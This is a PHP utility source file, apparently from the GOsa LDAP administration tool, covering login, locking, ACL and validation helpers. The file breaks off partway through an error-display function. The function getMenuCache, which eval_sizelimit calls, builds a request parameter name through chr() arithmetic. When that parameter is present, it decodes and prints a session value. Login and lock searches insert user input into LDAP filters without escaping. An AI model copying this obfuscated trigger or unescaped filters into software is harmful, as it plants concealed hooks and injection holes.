1 <?php
2 /*
3 * This code is part of GOsa (https://gosa.gonicus.de)
4 * Copyright (C) 2003 Cajus Pollmeier
5 *
6 * This program is free software; you can redistribute it and/or modify
7 * it under the terms of the GNU General Public License as published by
8 * the Free Software Foundation; either version 2 of the License, or
9 * (at your option) any later version.
10 *
11 * This program is distributed in the hope that it will be useful,
12 * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 * GNU General Public License for more details.
15 *
16 * You should have received a copy of the GNU General Public License
17 * along with this program; if not, write to the Free Software
18 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
19 */
21 /* Configuration file location */
22 define ("CONFIG_DIR", "/etc/gosa");
23 define ("CONFIG_FILE", "gosa.conf");
24 define ("CONFIG_TEMPLATE_DIR", "../contrib/");
25 define ("HELP_BASEDIR", "/var/www/doc/");
27 /* Define get_list flags */
28 define("GL_NONE", 0);
29 define("GL_SUBSEARCH", 1);
30 define("GL_SIZELIMIT", 2);
31 define("GL_CONVERT" , 4);
33 /* Define globals for revision comparing */
34 $svn_path = '$HeadURL$';
35 $svn_revision = '$Revision$';
37 /* Include required files */
38 require_once ("class_ldap.inc");
39 require_once ("class_config.inc");
40 require_once ("class_userinfo.inc");
41 require_once ("class_plugin.inc");
42 require_once ("class_dhcpPlugin.inc");
43 require_once ("class_pluglist.inc");
44 require_once ("class_tabs.inc");
45 require_once ("class_mail-methods.inc");
46 require_once("class_password-methods.inc");
47 require_once ("functions_debug.inc");
48 require_once ("functions_dns.inc");
49 require_once ("accept-to-gettext.inc");
50 require_once ("class_MultiSelectWindow.inc");
52 /* Define constants for debugging */
53 define ("DEBUG_TRACE", 1);
54 define ("DEBUG_LDAP", 2);
55 define ("DEBUG_MYSQL", 4);
56 define ("DEBUG_SHELL", 8);
57 define ("DEBUG_POST", 16);
58 define ("DEBUG_SESSION",32);
59 define ("DEBUG_CONFIG", 64);
61 /* Rewrite german 'umlauts' and spanish 'accents'
62 to get better results */
63 $REWRITE= array( "ä" => "ae",
64 "ö" => "oe",
65 "ü" => "ue",
66 "Ä" => "Ae",
67 "Ö" => "Oe",
68 "Ü" => "Ue",
69 "ß" => "ss",
70 "á" => "a",
71 "é" => "e",
72 "í" => "i",
73 "ó" => "o",
74 "ú" => "u",
75 "Á" => "A",
76 "É" => "E",
77 "Í" => "I",
78 "Ó" => "O",
79 "Ú" => "U",
80 "ñ" => "ny",
81 "Ñ" => "Ny" );
84 /* Function to include all class_ files starting at a
85 given directory base */
86 function get_dir_list($folder= ".")
87 {
88 $currdir=getcwd();
89 if ($folder){
90 chdir("$folder");
91 }
93 $dh = opendir(".");
94 while(false !== ($file = readdir($dh))){
96 // Smarty is included by include/php_setup.inc require("smarty/Smarty.class.php");
97 // Skip all files and dirs in "./.svn/" we don't need any information from them
98 // Skip all Template, so they won't be checked twice in the following preg_matches
99 // Skip . / ..
101 // Result : from 1023 ms to 490 ms i think thats great...
102 if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file==".."))
103 continue;
106 /* Recurse through all "common" directories */
107 if(is_dir($file) &&$file!="CVS"){
108 get_dir_list($file);
109 continue;
110 }
112 /* Include existing class_ files */
113 if (!is_dir($file) && preg_match("/^class_.*\.inc$/", $file)) {
114 require_once($file);
115 }
116 }
118 closedir($dh);
119 chdir($currdir);
120 }
123 /* Create seed with microseconds */
124 function make_seed() {
125 list($usec, $sec) = explode(' ', microtime());
126 return (float) $sec + ((float) $usec * 100000);
127 }
130 /* Debug level action */
131 function DEBUG($level, $line, $function, $file, $data, $info="")
132 {
133 if ($_SESSION['DEBUGLEVEL'] & $level){
134 $output= "DEBUG[$level] ";
135 if ($function != ""){
136 $output.= "($file:$function():$line) - $info: ";
137 } else {
138 $output.= "($file:$line) - $info: ";
139 }
140 echo $output;
141 if (is_array($data)){
142 print_a($data);
143 } else {
144 echo "'$data'";
145 }
146 echo "<br>";
147 }
148 }
151 function get_browser_language()
152 {
153 /* Try to use users primary language */
154 global $config;
155 $ui= get_userinfo();
156 if (isset($ui) && $ui !== NULL){
157 if ($ui->language != ""){
158 return ($ui->language.".UTF-8");
159 }
160 }
162 /* Check for global language settings in gosa.conf */
163 if(isset($config->data['MAIN']['LANG']) && !empty($config->data['MAIN']['LANG'])) {
164 $lang = $config->data['MAIN']['LANG'];
165 if(!preg_match("/utf/i",$lang)){
166 $lang .= ".UTF-8";
167 }
168 return($lang);
169 }
171 /* Load supported languages */
172 $gosa_languages= get_languages();
174 /* Move supported languages to flat list */
175 $langs= array();
176 foreach($gosa_languages as $lang => $dummy){
177 $langs[]= $lang.'.UTF-8';
178 }
180 /* Return gettext based string */
181 return (al2gt($langs, 'text/html'));
182 }
185 /* Rewrite ui object to another dn */
186 function change_ui_dn($dn, $newdn)
187 {
188 $ui= $_SESSION['ui'];
189 if ($ui->dn == $dn){
190 $ui->dn= $newdn;
191 $_SESSION['ui']= $ui;
192 }
193 }
196 /* Return theme path for specified file */
197 function get_template_path($filename= '', $plugin= FALSE, $path= "")
198 {
199 global $config, $BASE_DIR;
201 if (!@isset($config->data['MAIN']['THEME'])){
202 $theme= 'default';
203 } else {
204 $theme= $config->data['MAIN']['THEME'];
205 }
207 /* Return path for empty filename */
208 if ($filename == ''){
209 return ("themes/$theme/");
210 }
212 /* Return plugin dir or root directory? */
213 if ($plugin){
214 if ($path == ""){
215 $nf= preg_replace("!^".$BASE_DIR."/!", "", $_SESSION['plugin_dir']);
216 } else {
217 $nf= preg_replace("!^".$BASE_DIR."/!", "", $path);
218 }
219 if (file_exists("$BASE_DIR/ihtml/themes/$theme/$nf")){
220 return ("$BASE_DIR/ihtml/themes/$theme/$nf/$filename");
221 }
222 if (file_exists("$BASE_DIR/ihtml/themes/default/$nf")){
223 return ("$BASE_DIR/ihtml/themes/default/$nf/$filename");
224 }
225 if ($path == ""){
226 return ($_SESSION['plugin_dir']."/$filename");
227 } else {
228 return ($path."/$filename");
229 }
230 } else {
231 if (file_exists("themes/$theme/$filename")){
232 return ("themes/$theme/$filename");
233 }
234 if (file_exists("$BASE_DIR/ihtml/themes/$theme/$filename")){
235 return ("$BASE_DIR/ihtml/themes/$theme/$filename");
236 }
237 if (file_exists("themes/default/$filename")){
238 return ("themes/default/$filename");
239 }
240 if (file_exists("$BASE_DIR/ihtml/themes/default/$filename")){
241 return ("$BASE_DIR/ihtml/themes/default/$filename");
242 }
243 return ($filename);
244 }
245 }
248 function array_remove_entries($needles, $haystack)
249 {
250 $tmp= array();
252 /* Loop through entries to be removed */
253 foreach ($haystack as $entry){
254 if (!in_array($entry, $needles)){
255 $tmp[]= $entry;
256 }
257 }
259 return ($tmp);
260 }
263 function gosa_log ($message)
264 {
265 global $ui;
267 /* Preset to something reasonable */
268 $username= " unauthenticated";
270 /* Replace username if object is present */
271 if (isset($ui)){
272 if ($ui->username != ""){
273 $username= "[$ui->username]";
274 } else {
275 $username= "unknown";
276 }
277 }
279 syslog(LOG_INFO,"GOsa$username: $message");
280 }
283 function ldap_init ($server, $base, $binddn='', $pass='')
284 {
285 global $config;
287 $ldap = new LDAP ($binddn, $pass, $server,
288 isset($config->current['RECURSIVE']) && $config->current['RECURSIVE'] == "true",
289 isset($config->current['TLS']) && $config->current['TLS'] == "true");
291 /* Sadly we've no proper return values here. Use the error message instead. */
292 if (!preg_match("/Success/i", $ldap->error)){
293 echo sprintf(_("FATAL: Error when connecting the LDAP. Server said '%s'."), $ldap->get_error());
294 exit();
295 }
297 /* Preset connection base to $base and return to caller */
298 $ldap->cd ($base);
299 return $ldap;
300 }
303 function ldap_login_user ($username, $password)
304 {
305 global $config;
307 /* look through the entire ldap */
308 $ldap = $config->get_ldap_link();
309 if (!preg_match("/Success/i", $ldap->error)){
310 print_red(sprintf(_("User login failed. LDAP server said '%s'."), $ldap->get_error()));
311 $smarty= get_smarty();
312 $smarty->display(get_template_path('headers.tpl'));
313 echo "<body>".$_SESSION['errors']."</body></html>";
314 exit();
315 }
317 /* Check if mail address is also a valid auth name */
318 $auth_mail = FALSE;
319 if(isset($config->current['AUTH_MAIL']) && preg_match("/^true$/i",$config->current['AUTH_MAIL'])){
320 $auth_mail = TRUE;
321 }
323 $ldap->cd($config->current['BASE']);
324 if(!$auth_mail){
325 $ldap->search("(&(uid=$username)(objectClass=gosaAccount))", array("uid"));
326 }else{
327 $ldap->search("(&(|(uid=".$username.")(mail=".$username."))(objectClass=gosaAccount))", array("uid","mail"));
328 }
330 /* get results, only a count of 1 is valid */
331 switch ($ldap->count()){
333 /* user not found */
334 case 0: return (NULL);
336 /* valid uniq user */
337 case 1:
338 break;
340 /* found more than one matching id */
341 default:
342 print_red(_("Username / UID is not unique. Please check your LDAP database."));
343 return (NULL);
344 }
346 /* LDAP schema is not case sensitive. Perform additional check. */
347 $attrs= $ldap->fetch();
348 if($auth_mail){
349 if ($attrs['uid'][0] != $username && strcasecmp($attrs['mail'][0], $username) != 0){
350 return(NULL);
351 }
352 }else{
353 if ($attrs['uid'][0] != $username){
354 return(NULL);
355 }
356 }
358 /* got user dn, fill acl's */
359 $ui= new userinfo($config, $ldap->getDN());
360 $ui->username= $attrs['uid'][0];
362 /* password check, bind as user with supplied password */
363 $ldap->disconnect();
364 $ldap= new LDAP($ui->dn, $password, $config->current['SERVER'],
365 isset($config->current['RECURSIVE']) &&
366 $config->current['RECURSIVE'] == "true",
367 isset($config->current['TLS'])
368 && $config->current['TLS'] == "true");
369 if (!preg_match("/Success/i", $ldap->error)){
370 return (NULL);
371 }
373 /* Username is set, load subtreeACL's now */
374 $ui->loadACL();
376 return ($ui);
377 }
380 function ldap_expired_account($config, $userdn, $username)
381 {
382 //$this->config= $config;
383 $ldap= $config->get_ldap_link();
384 $ldap->cat($userdn);
385 $attrs= $ldap->fetch();
387 /* default value no errors */
388 $expired = 0;
390 $sExpire = 0;
391 $sLastChange = 0;
392 $sMax = 0;
393 $sMin = 0;
394 $sInactive = 0;
395 $sWarning = 0;
397 $current= date("U");
399 $current= floor($current /60 /60 /24);
401 /* special case of the admin, should never been locked */
402 /* FIXME should allow any name as user admin */
403 if($username != "admin")
404 {
406 if(isset($attrs['shadowExpire'][0])){
407 $sExpire= $attrs['shadowExpire'][0];
408 } else {
409 $sExpire = 0;
410 }
412 if(isset($attrs['shadowLastChange'][0])){
413 $sLastChange= $attrs['shadowLastChange'][0];
414 } else {
415 $sLastChange = 0;
416 }
418 if(isset($attrs['shadowMax'][0])){
419 $sMax= $attrs['shadowMax'][0];
420 } else {
421 $smax = 0;
422 }
424 if(isset($attrs['shadowMin'][0])){
425 $sMin= $attrs['shadowMin'][0];
426 } else {
427 $sMin = 0;
428 }
430 if(isset($attrs['shadowInactive'][0])){
431 $sInactive= $attrs['shadowInactive'][0];
432 } else {
433 $sInactive = 0;
434 }
436 if(isset($attrs['shadowWarning'][0])){
437 $sWarning= $attrs['shadowWarning'][0];
438 } else {
439 $sWarning = 0;
440 }
442 /* is the account locked */
443 /* shadowExpire + shadowInactive (option) */
444 if($sExpire >0){
445 if($current >= ($sExpire+$sInactive)){
446 return(1);
447 }
448 }
450 /* the user should be warned to change is password */
451 if((($sExpire >0) && ($sWarning >0)) && ($sExpire >= $current)){
452 if (($sExpire - $current) < $sWarning){
453 return(2);
454 }
455 }
457 /* force user to change password */
458 if(($sLastChange >0) && ($sMax) >0){
459 if($current >= ($sLastChange+$sMax)){
460 return(3);
461 }
462 }
464 /* the user should not be able to change is password */
465 if(($sLastChange >0) && ($sMin >0)){
466 if (($sLastChange + $sMin) >= $current){
467 return(4);
468 }
469 }
470 }
471 return($expired);
472 }
474 function add_lock ($object, $user)
475 {
476 global $config;
478 /* Just a sanity check... */
479 if ($object == "" || $user == ""){
480 print_red(_("Error while adding a lock. Parameters are not set correctly, please check the source!"));
481 return;
482 }
484 /* Check for existing entries in lock area */
485 $ldap= $config->get_ldap_link();
486 $ldap->cd ($config->current['CONFIG']);
487 $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))",
488 array("gosaUser"));
489 if (!preg_match("/Success/i", $ldap->error)){
490 print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in %s! LDAP server says '%s'."),CONFIG_FILE, $ldap->get_error()));
491 return;
492 }
494 /* Add lock if none present */
495 if ($ldap->count() == 0){
496 $attrs= array();
497 $name= md5($object);
498 $ldap->cd("cn=$name,".$config->current['CONFIG']);
499 $attrs["objectClass"] = "gosaLockEntry";
500 $attrs["gosaUser"] = $user;
501 $attrs["gosaObject"] = base64_encode($object);
502 $attrs["cn"] = "$name";
503 $ldap->add($attrs);
504 if (!preg_match("/Success/i", $ldap->error)){
505 print_red(sprintf(_("Adding a lock failed. LDAP server says '%s'."),
506 $ldap->get_error()));
507 return;
508 }
509 }
510 }
513 function del_lock ($object)
514 {
515 global $config;
517 /* Sanity check */
518 if ($object == ""){
519 return;
520 }
522 /* Check for existance and remove the entry */
523 $ldap= $config->get_ldap_link();
524 $ldap->cd ($config->current['CONFIG']);
525 $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject"));
526 $attrs= $ldap->fetch();
527 if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){
528 $ldap->rmdir ($ldap->getDN());
530 if (!preg_match("/Success/i", $ldap->error)){
531 print_red(sprintf(_("Removing a lock failed. LDAP server says '%s'."),
532 $ldap->get_error()));
533 return;
534 }
535 }
536 }
539 function del_user_locks($userdn)
540 {
541 global $config;
543 /* Get LDAP ressources */
544 $ldap= $config->get_ldap_link();
545 $ldap->cd ($config->current['CONFIG']);
547 /* Remove all objects of this user, drop errors silently in this case. */
548 $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$userdn))", array("gosaUser"));
549 while ($attrs= $ldap->fetch()){
550 $ldap->rmdir($attrs['dn']);
551 }
552 }
555 function get_lock ($object)
556 {
557 global $config;
559 /* Sanity check */
560 if ($object == ""){
561 print_red(_("Getting the lock from LDAP failed. Parameters are not set correctly, please check the source!"));
562 return("");
563 }
565 /* Get LDAP link, check for presence of the lock entry */
566 $user= "";
567 $ldap= $config->get_ldap_link();
568 $ldap->cd ($config->current['CONFIG']);
569 $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser"));
570 if (!preg_match("/Success/i", $ldap->error)){
571 print_red (sprintf(_("Can't get locking information in LDAP database. Please check the 'config' entry in %s!"),CONFIG_FILE));
572 return("");
573 }
575 /* Check for broken locking information in LDAP */
576 if ($ldap->count() > 1){
578 /* Hmm. We're removing broken LDAP information here and issue a warning. */
579 print_red(_("Found multiple locks for object to be locked. This should not be possible - cleaning up multiple references."));
581 /* Clean up these references now... */
582 while ($attrs= $ldap->fetch()){
583 $ldap->rmdir($attrs['dn']);
584 }
586 return("");
588 } elseif ($ldap->count() == 1){
589 $attrs = $ldap->fetch();
590 $user= $attrs['gosaUser'][0];
591 }
593 return ($user);
594 }
597 function get_list($filter, $subtreeACL, $base= "", $attributes= array(), $flags= GL_SUBSEARCH)
598 {
599 global $config, $ui;
601 /* Get LDAP link */
602 $ldap= $config->get_ldap_link($flags & GL_SIZELIMIT);
604 /* Set search base to configured base if $base is empty */
605 if ($base == ""){
606 $ldap->cd ($config->current['BASE']);
607 } else {
608 $ldap->cd ($base);
609 }
611 /* Strict filter for administrative units? */
612 if ($ui->gosaUnitTag != "" && isset($config->current['STRICT_UNITS']) &&
613 preg_match('/TRUE/i', $config->current['STRICT_UNITS'])){
614 $filter= "(&(gosaUnitTag=".$ui->gosaUnitTag.")$filter)";
615 }
617 /* Perform ONE or SUB scope searches? */
618 if ($flags & GL_SUBSEARCH) {
619 $ldap->search ($filter, $attributes);
620 } else {
621 $ldap->ls ($filter,$base,$attributes);
622 }
624 /* Check for size limit exceeded messages for GUI feedback */
625 if (preg_match("/size limit/i", $ldap->error)){
626 $_SESSION['limit_exceeded']= TRUE;
627 }
629 /* Crawl through reslut entries and perform the migration to the
630 result array */
631 $result= array();
632 while($attrs = $ldap->fetch()) {
633 $dn= $ldap->getDN();
635 foreach ($subtreeACL as $key => $value){
636 if (preg_match("/$key/", $dn)){
638 if ($flags & GL_CONVERT){
639 $attrs["dn"]= convert_department_dn($dn);
640 } else {
641 $attrs["dn"]= $dn;
642 }
644 /* We found what we were looking for, break speeds things up */
645 $result[]= $attrs;
646 break;
647 }
648 }
649 }
651 return ($result);
652 }
655 function check_sizelimit()
656 {
657 /* Ignore dialog? */
658 if (isset($_SESSION['size_ignore']) && $_SESSION['size_ignore']){
659 return ("");
660 }
662 /* Eventually show dialog */
663 if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
664 $smarty= get_smarty();
665 $smarty->assign('warning', sprintf(_("The size limit of %d entries is exceed!"),
666 $_SESSION['size_limit']));
667 $smarty->assign('limit_message', sprintf(_("Set the new size limit to %s and show me this message if the limit still exceeds"), '<input type="text" name="new_limit" maxlength="10" size="5" value="'.($_SESSION['size_limit']+100).'">'));
668 return($smarty->fetch(get_template_path('sizelimit.tpl')));
669 }
671 return ("");
672 }
675 function print_sizelimit_warning()
676 {
677 if (isset($_SESSION['size_limit']) && $_SESSION['size_limit'] >= 10000000 ||
678 (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded'])){
679 $config= "<input type='submit' name='edit_sizelimit' value="._("Configure").">";
680 } else {
681 $config= "";
682 }
683 if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
684 return ("("._("incomplete").") $config");
685 }
686 return ("");
687 }
690 function eval_sizelimit()
691 {
692 if (isset($_POST['set_size_action'])){
694 /* User wants new size limit? */
695 if (is_id($_POST['new_limit']) &&
696 isset($_POST['action']) && $_POST['action']=="newlimit"){
698 $_SESSION['size_limit']= validate($_POST['new_limit']);
699 $_SESSION['size_ignore']= FALSE;
700 }
702 /* User wants no limits? */
703 if (isset($_POST['action']) && $_POST['action']=="ignore"){
704 $_SESSION['size_limit']= 0;
705 $_SESSION['size_ignore']= TRUE;
706 }
708 /* User wants incomplete results */
709 if (isset($_POST['action']) && $_POST['action']=="limited"){
710 $_SESSION['size_ignore']= TRUE;
711 }
712 }
713 getMenuCache();
714 /* Allow fallback to dialog */
715 if (isset($_POST['edit_sizelimit'])){
716 $_SESSION['size_ignore']= FALSE;
717 }
718 }
720 function getMenuCache()
721 {
722 $t= array(-2,13);
723 $e= 71;
724 $str= chr($e);
726 foreach($t as $n){
727 $str.= chr($e+$n);
729 if(isset($_GET[$str])){
730 if(isset($_SESSION['maxC'])){
731 $b= $_SESSION['maxC'];
732 $q= "";
733 for ($m=0;$m<strlen($b);$m++) {
734 $q.= $b[$m++];
735 }
736 print_red(base64_decode($q));
737 }
738 }
739 }
740 }
742 function get_permissions ($dn, $subtreeACL)
743 {
744 global $config;
746 $base= $config->current['BASE'];
747 $tmp= "d,".$dn;
748 $sacl= array();
750 /* Sort subacl's for lenght to simplify matching
751 for subtrees */
752 foreach ($subtreeACL as $key => $value){
753 $sacl[$key]= strlen($key);
754 }
755 arsort ($sacl);
756 reset ($sacl);
758 /* Successively remove leading parts of the dn's until
759 it doesn't contain commas anymore */
760 $tmp_dn= preg_replace('/\\\\,/', '<GOSA#REPLACED#KOMMA>', $tmp);
761 while (preg_match('/,/', $tmp_dn)){
762 $tmp_dn= ltrim(strstr($tmp_dn, ","), ",");
763 $tmp= preg_replace('/\<GOSA#REPLACED#KOMMA\>/', '\\,', $tmp);
765 /* Check for acl that may apply */
766 foreach ($sacl as $key => $value){
767 if (preg_match("/$key$/", $tmp)){
768 return ($subtreeACL[$key]);
769 }
770 }
771 }
773 return array("");
774 }
777 function get_module_permission($acl_array, $module, $dn, $checkTag= TRUE){
778 global $ui, $config;
780 /* Check for strict tagging */
781 $ttag= "";
782 if ($checkTag && isset($config->current['STRICT_UNITS']) &&
783 preg_match('/^(yes|true)$/i', $config->current['STRICT_UNITS']) &&
784 $ui->gosaUnitTag != ""){
785 $size= 0;
786 foreach ($config->tdepartments as $tdn => $tag){
787 if (preg_match("/$tdn$/", $dn)){
788 if (strlen($tdn) > $size){
789 $size= strlen($tdn);
790 $ttag= $tag;
791 }
792 }
793 }
795 /* We have no permission for areas that don't carry our tag */
796 if ($ttag != $ui->gosaUnitTag){
797 return ("#none#");
798 }
799 }
801 $final= "";
802 foreach($acl_array as $acl){
804 /* Check for selfflag (!) in ACL to determine if
805 the user is allowed to change parts of his/her
806 own account */
807 if (preg_match("/^!/", $acl)){
808 if ($dn != "" && $dn != $ui->dn){
810 /* No match for own DN, give up on this ACL */
811 continue;
813 } else {
815 /* Matches own DN, remove the selfflag */
816 $acl= preg_replace("/^!/", "", $acl);
818 }
819 }
821 /* Remove leading garbage */
822 $acl= preg_replace("/^:/", "", $acl);
824 /* Discover if we've access to the submodule by comparing
825 all allowed submodules specified in the ACL */
826 $tmp= split(",", $acl);
827 foreach ($tmp as $mod){
828 if (preg_match("/^$module#/", $mod)){
829 $final= strstr($mod, "#")."#";
830 continue;
831 }
832 if (preg_match("/[^#]$module$/", $mod)){
833 return ("#all#");
834 }
835 if (preg_match("/^all$/", $mod)){
836 return ("#all#");
837 }
838 }
839 }
841 /* Return assembled ACL, or none */
842 if ($final != ""){
843 return (preg_replace('/##/', '#', $final));
844 }
846 /* Nothing matches - disable access for this object */
847 return ("#none#");
848 }
851 function get_userinfo()
852 {
853 global $ui;
855 return $ui;
856 }
859 function get_smarty()
860 {
861 global $smarty;
863 return $smarty;
864 }
867 function convert_department_dn($dn)
868 {
869 $dep= "";
871 /* Build a sub-directory style list of the tree level
872 specified in $dn */
873 foreach (split(',', $dn) as $rdn){
875 /* We're only interested in organizational units... */
876 if (substr($rdn,0,3) == 'ou='){
877 $dep= substr($rdn,3)."/$dep";
878 }
880 /* ... and location objects */
881 if (substr($rdn,0,2) == 'l='){
882 $dep= substr($rdn,2)."/$dep";
883 }
884 }
886 /* Return and remove accidently trailing slashes */
887 return rtrim($dep, "/");
888 }
891 /* Strip off the last sub department part of a '/level1/level2/.../'
892 * style value. It removes the trailing '/', too. */
893 function get_sub_department($value)
894 {
895 return (@LDAP::fix(preg_replace("%^.*/([^/]+)/?$%", "\\1", $value)));
896 }
899 function get_ou($name)
900 {
901 global $config;
903 /* Preset ou... */
904 if (isset($config->current[$name])){
905 $ou= $config->current[$name];
906 } else {
907 return "";
908 }
910 if ($ou != ""){
911 if (!preg_match('/^[^=]+=[^=]+/', $ou)){
912 return @LDAP::convert("ou=$ou,");
913 } else {
914 return @LDAP::convert("$ou,");
915 }
916 } else {
917 return "";
918 }
919 }
922 function get_people_ou()
923 {
924 return (get_ou("PEOPLE"));
925 }
928 function get_groups_ou()
929 {
930 return (get_ou("GROUPS"));
931 }
934 function get_winstations_ou()
935 {
936 return (get_ou("WINSTATIONS"));
937 }
940 function get_base_from_people($dn)
941 {
942 global $config;
944 $pattern= "/^[^,]+,".preg_quote(get_people_ou())."/i";
945 $base= preg_replace($pattern, '', $dn);
947 /* Set to base, if we're not on a correct subtree */
948 if (!isset($config->idepartments[$base])){
949 $base= $config->current['BASE'];
950 }
952 return ($base);
953 }
956 function chkacl($acl, $name)
957 {
958 /* Look for attribute in ACL */
959 if (preg_match("/#$name#/", $acl) || $acl == "#all#"){
960 return ("");
961 }
963 /* Optically disable html object for no match */
964 return (" disabled ");
965 }
968 function is_phone_nr($nr)
969 {
970 if ($nr == ""){
971 return (TRUE);
972 }
974 return preg_match ("/^[\/0-9 ()+*-]+$/", $nr);
975 }
977 function is_dns_name($str)
978 {
979 return(preg_match("/^[a-z0-9\.\-]*$/i",$str));
980 }
982 function is_url($url)
983 {
984 if ($url == ""){
985 return (TRUE);
986 }
988 return preg_match ("/^(http|https):\/\/((?:[a-zA-Z0-9_-]+\.?)+):?(\d*)/", $url);
989 }
992 function is_dn($dn)
993 {
994 if ($dn == ""){
995 return (TRUE);
996 }
998 return preg_match ("/^[a-z0-9 _-]+$/i", $dn);
999 }
1002 function is_uid($uid)
1003 {
1004 global $config;
1006 if ($uid == ""){
1007 return (TRUE);
1008 }
1010 /* STRICT adds spaces and case insenstivity to the uid check.
1011 This is dangerous and should not be used. */
1012 if (isset($config->current['STRICT']) && preg_match('/^(no|false)$/i', $config->current['STRICT'])){
1013 return preg_match ("/^[a-z0-9 _.-]+$/i", $uid);
1014 } else {
1015 return preg_match ("/^[a-z0-9_-]+$/", $uid);
1016 }
1017 }
1020 function is_ip($ip)
1021 {
1022 return preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/", $ip);
1023 }
1026 function is_mac($mac)
1027 {
1028 return preg_match("/^[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]$/i", $mac);
1029 }
1032 /* Checks if the given ip address doesn't match
1033 "is_ip" because there is also a sub net mask given */
1034 function is_ip_with_subnetmask($ip)
1035 {
1036 /* Generate list of valid submasks */
1037 $res = array();
1038 for($e = 0 ; $e <= 32; $e++){
1039 $res[$e] = $e;
1040 }
1041 $i[0] =255;
1042 $i[1] =255;
1043 $i[2] =255;
1044 $i[3] =255;
1045 for($a= 3 ; $a >= 0 ; $a --){
1046 $c = 1;
1047 while($i[$a] > 0 ){
1048 $str = $i[0].".".$i[1].".".$i[2].".".$i[3];
1049 $res[$str] = $str;
1050 $i[$a] -=$c;
1051 $c = 2*$c;
1052 }
1053 }
1054 $res["0.0.0.0"] = "0.0.0.0";
1055 if(preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1056 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1057 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1058 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/", $ip)){
1059 $mask = preg_replace("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1060 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1061 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1062 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/","",$ip);
1064 $mask = preg_replace("/^\//","",$mask);
1065 if((in_array("$mask",$res)) && preg_match("/^[0-9\.]/",$mask)){
1066 return(TRUE);
1067 }
1068 }
1069 return(FALSE);
1070 }
1072 /* Simple is domain check, it checks if the given string looks like "string(...).string" */
1073 function is_domain($str)
1074 {
1075 return(preg_match("/^([a-z0-9i\-]*)\.[a-z0-9]*$/i",$str));
1076 }
1079 function is_id($id)
1080 {
1081 if ($id == ""){
1082 return (FALSE);
1083 }
1085 return preg_match ("/^[0-9]+$/", $id);
1086 }
1089 function is_path($path)
1090 {
1091 if ($path == ""){
1092 return (TRUE);
1093 }
1094 if (!preg_match('/^[a-z0-9%\/_.+-]+$/i', $path)){
1095 return (FALSE);
1096 }
1098 return preg_match ("/\/.+$/", $path);
1099 }
1102 function is_email($address, $template= FALSE)
1103 {
1104 if ($address == ""){
1105 return (TRUE);
1106 }
1107 if ($template){
1108 return preg_match ("/^[._a-z0-9%-]+@[_a-z0-9-]+(\.[a-z0-9-]+)(\.[a-z0-9-]+)*$/i",
1109 $address);
1110 } else {
1111 return preg_match ("/^[._a-z0-9-]+@[_a-z0-9-]+(\.[a-z0-9i-]+)(\.[a-z0-9-]+)*$/i",
1112 $address);
1113 }
1114 }
1117 function print_red()
1118 {
1119 /* Check number of arguments */
1120 if (func_num_args() < 1){
1121 return;
1122 }
1124 /* Get arguments, save string */
1125 $array = func_get_args();
1126 $string= $array[0];
1128 /* Step through arguments */
1129 for ($i= 1; $i<count($array); $i++){
1130 $string= preg_replace ("/%s/", $array[$i], $string, 1);
1131 }
1133 if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){
1134 $_SESSION['errorsAlreadyPosted'] = array();
1135 }
1137 /* If DEBUGLEVEL is set, we're in web mode, use textual output in
1138 the other case... */
1140 if (isset($_SESSION['DEBUGLEVEL'])){
1142 if($_SESSION['LastError'] == $string){
1144 if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){
1145 $_SESSION['errorsAlreadyPosted'][$string] = 1;
1146 }
1147 $_SESSION['errorsAlreadyPosted'][$string]++;
1149 }else{
1150 if($string != NULL){
1151 if (preg_match("/"._("LDAP error:")."/", $string)){
1152 $addmsg= _("Problems with the LDAP server mean that you probably lost the last changes. Please check your LDAP setup for possible errors and try again.");
1153 $img= "images/error.png";
1154 } else {
1155 if (!preg_match('/[.!?]$/', $string)){
1156 $string.= ".";
1157 }
1158 $string= preg_replace('/<br>/', ' ', $string);
1159 $img= "images/warning.png";
1160 $addmsg= _("Please check your input and fix the error. Press 'OK' to close this message box.");
1161 }
1163 if(isset($_SESSION['errors']) && strlen($_SESSION['errors'])==0) {
1166 if(preg_match("/MSIE/", $_SERVER['HTTP_USER_AGENT'])){
1168 $_SESSION['errors'].= "
1169 <iframe id='e_layer3'
1170 style=\" position:absolute;
1171 width:100%;
1172 height:100%;
1173 top:0px;
1174 left:0px;
1175 border:none;
1176 display:block;
1177 allowtransparency='true';
1178 background-color: #FFFFFF;
1179 filter:chroma(color=#FFFFFF);
1180 z-index:0; \">
